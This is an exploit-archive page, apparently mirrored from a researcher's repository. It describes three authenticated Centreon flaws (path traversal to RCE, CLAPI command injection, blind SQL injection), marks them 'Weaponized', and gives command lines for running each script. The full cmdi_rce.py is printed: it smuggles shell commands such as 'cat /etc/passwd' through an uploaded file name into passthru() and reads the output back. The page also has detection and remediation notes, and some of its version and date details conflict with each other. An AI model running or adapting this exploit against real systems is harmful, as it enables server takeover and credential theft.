PoC Archive PoC Archive
Critical CVE-2026-2749 (bundled with related CVE-2026-2750, CVE-2026-2751) patched

Centreon Multi-Vector RCE — Path Traversal, Command Injection & Blind SQLi (CVE-2026-2749)

by hakaioffsec (Hakai Security / QuimeraX Intelligence) · 2026-07-05

Severity
Critical
CVE
CVE-2026-2749 (bundled with related CVE-2026-2750, CVE-2026-2751)
Category
web
Affected product
Centreon (open-source IT infrastructure monitoring platform)
Affected versions
All versions prior to 25.10, including 24.10 and 24.04
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-03
Author / Researcherhakaioffsec (Hakai Security / QuimeraX Intelligence)
CVE / AdvisoryCVE-2026-2749 (bundled with related CVE-2026-2750, CVE-2026-2751)
Categoryweb
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagscentreon, path-traversal, rce, command-injection, sql-injection, clapi, monitoring, php
RelatedN/A

Affected Target

FieldValue
Software / SystemCentreon (open-source IT infrastructure monitoring platform)
Versions AffectedAll versions prior to 25.10, including 24.10 and 24.04
Language / PlatformPython 3 exploit scripts against PHP-based Centreon web application
Authentication RequiredYes (valid PHPSESSID session cookie required for all three vectors)
Network Access RequiredYes

Summary

This repository bundles three distinct, authenticated vulnerabilities in Centreon that were disclosed together. CVE-2026-2749 is a path traversal flaw in the Open Tickets upload feature that allows arbitrary file write, which can be escalated to remote code execution by writing a malicious file into a web-accessible path. CVE-2026-2750 is an OS command injection in the CLAPI generatetraps function caused by unsanitized input reaching a passthru() call. CVE-2026-2751 is a blind SQL injection reachable through unsanitized array keys in the Service Dependencies feature, which can be used to dump credentials from the underlying database. All three PoCs require a valid session cookie and drive the exploitation end-to-end from the command line.


Vulnerability Details

Root Cause

  • Path Traversal → RCE: the Open Tickets file upload handler does not validate/sanitize the destination filename, allowing directory traversal sequences to place attacker-controlled content outside the intended upload directory.
  • Command Injection: the CLAPI generatetraps action passes user-controlled parameters into a passthru() shell call without sanitization.
  • Blind SQL Injection: array keys used to build SQL queries in the Service Dependencies module are not parameterized, allowing boolean/time-based blind injection.

Attack Vector

  1. Authenticate to Centreon and obtain a valid PHPSESSID cookie.
  2. Path traversal: Run pathtraversal_rce.py against the Open Tickets upload endpoint with a traversal payload to write a web shell/PHP file, then trigger it to execute an OS command.
  3. Command injection: Run cmdi_rce.py against the CLAPI generatetraps action, injecting shell metacharacters into a parameter consumed by passthru() to execute arbitrary commands.
  4. Blind SQLi: Run sqli_dump.py against the Service Dependencies endpoint, sending crafted array-key payloads and inferring true/false conditions from response differences to extract database contents (e.g., user credentials).

Impact

Complete compromise of the Centreon server: arbitrary command execution as the web server user via two independent RCE paths, plus credential exfiltration via blind SQL injection — enabling full monitoring-infrastructure and potentially lateral network takeover.


Environment / Lab Setup

Target:   Centreon (any version < 25.10, incl. 24.10 / 24.04), reachable over HTTP(S)
Attacker: Python 3, `requests` library, valid Centreon session cookie (PHPSESSID)

Proof of Concept

PoC Script

See pathtraversal_rce.py (CVE-2026-2749), cmdi_rce.py (CVE-2026-2750), and sqli_dump.py (CVE-2026-2751) in this folder.

1
2
3
python3 pathtraversal_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
python3 cmdi_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"
python3 sqli_dump.py --url http://target/centreon --cookie PHPSESSID

Each script authenticates using the supplied cookie, sends the crafted request for its respective vulnerability, and prints command output (for the RCE vectors) or dumped database data (for the SQLi vector).


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected PHP files written under Centreon’s web-accessible upload directories.
  • Anomalous child processes spawned by the web server (e.g., sh, bash, id, whoami) originating from the Centreon PHP-FPM/Apache process.
  • Unusual outbound queries or timing patterns in the Centreon database logs correlating with Service Dependencies requests.

Remediation

ActionDetail
Primary fixUpgrade to Centreon 25.10 or later, which addresses CVE-2026-2749, CVE-2026-2750, and CVE-2026-2751 per Centreon’s security bulletins
Interim mitigationRestrict network access to the Centreon web interface, enforce least-privilege on uploaded file execution, and monitor CLAPI/Service Dependencies endpoints for anomalous input

References


Notes

Mirrored from https://github.com/hakaioffsec/Centreon-Exploits-2026 on 2026-07-05.

cmdi_rce.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python3

import sys, time, re, tempfile, os, argparse, requests
requests.packages.urllib3.disable_warnings()

BANNER = """
╔════════════════════════════════════════════╗
║   Centreon CMDi via CLAPI generatetraps    ║
║           CVE-2026-2750                    ║
║         Centreon <= 25.10.6                ║
║       https://hakaisecurity.io             ║
╚════════════════════════════════════════════╝
"""

def get_session(url, cookie, proxy=None):
    s = requests.Session()
    s.cookies.set("PHPSESSID", cookie)
    s.verify = False
    if proxy:
        s.proxies = {"http": proxy, "https": proxy}
    return s

def upload_mib(s, upload_url, filename, uid="rce"):
    tmp = tempfile.NamedTemporaryFile(delete=False, suffix=".mib", mode="w")
    tmp.write("-- dummy\nX DEFINITIONS ::= BEGIN\nEND\n")
    tmp.close()
    with open(tmp.name, "rb") as f:
        s.post(f"{upload_url}?action=upload-file&uniqId={uid}",
               files={"file": (filename, f, "application/octet-stream")})
    os.unlink(tmp.name)
    return f"/tmp/opentickets/{uid}__{filename}"

def clapi_gen(s, clapi_url, path):
    return s.post(clapi_url, json={
        "action": "generatetraps", "object": "VENDOR",
        "values": f"Cisco;{path}"
    }).text

def main():
    print(BANNER)
    parser = argparse.ArgumentParser(
        formatter_class=argparse.RawDescriptionHelpFormatter,
        description="OS Command Injection via CLAPI generatetraps passthru()",
        epilog="""examples:
  %(prog)s --url http://target/centreon --cookie PHPSESSID --cmd "id"
  %(prog)s --url http://target/centreon --cookie PHPSESSID --cmd "cat /etc/passwd"
  %(prog)s --url http://target/centreon --cookie PHPSESSID --cmd "whoami; pwd"
        """
    )
    parser.add_argument("--url", required=True,
                        help="base Centreon URL (e.g. http://target/centreon)")
    parser.add_argument("--cookie", required=True,
                        help="PHPSESSID session cookie value")
    parser.add_argument("--cmd", default="id",
                        help="shell command to execute (default: id)")
    parser.add_argument("--proxy", metavar="URL",
                        help="HTTP proxy (e.g. http://127.0.0.1:8080)")

    args = parser.parse_args()
    url = args.url.rstrip("/")
    s = get_session(url, args.cookie, args.proxy)

    upload_url = f"{url}/modules/centreon-open-tickets/views/rules/ajax/call.php"
    clapi_url = f"{url}/api/internal.php?object=centreon_clapi&action=action"

    # Time-based proof
    print("[1] Testing with $(sleep 1)...")
    t = time.time()
    clapi_gen(s, clapi_url, upload_mib(s, upload_url, "$(sleep 1).mib", "t"))
    elapsed = time.time() - t
    if elapsed > 1.5:
        print(f"    {elapsed:.1f}s — RCE CONFIRMED\n")
    else:
        print(f"    {elapsed:.1f}s — no delay, exploit may have failed")
        sys.exit(1)

    # Execute command
    print(f"[2] Executing: {args.cmd}")
    resp = clapi_gen(s, clapi_url, upload_mib(s, upload_url, f"$({args.cmd}).mib", "r"))
    m = re.search(r'r__(.+?)(?:\.mib(?:\.conf)?)?["\\}]', resp)
    if m:
        out = m.group(1)
        for sfx in ['.mib.conf', '.mib']:
            out = out.removesuffix(sfx)
        print(f"    {out}")
    else:
        print("    [-] Could not extract output from response")

if __name__ == "__main__":
    main()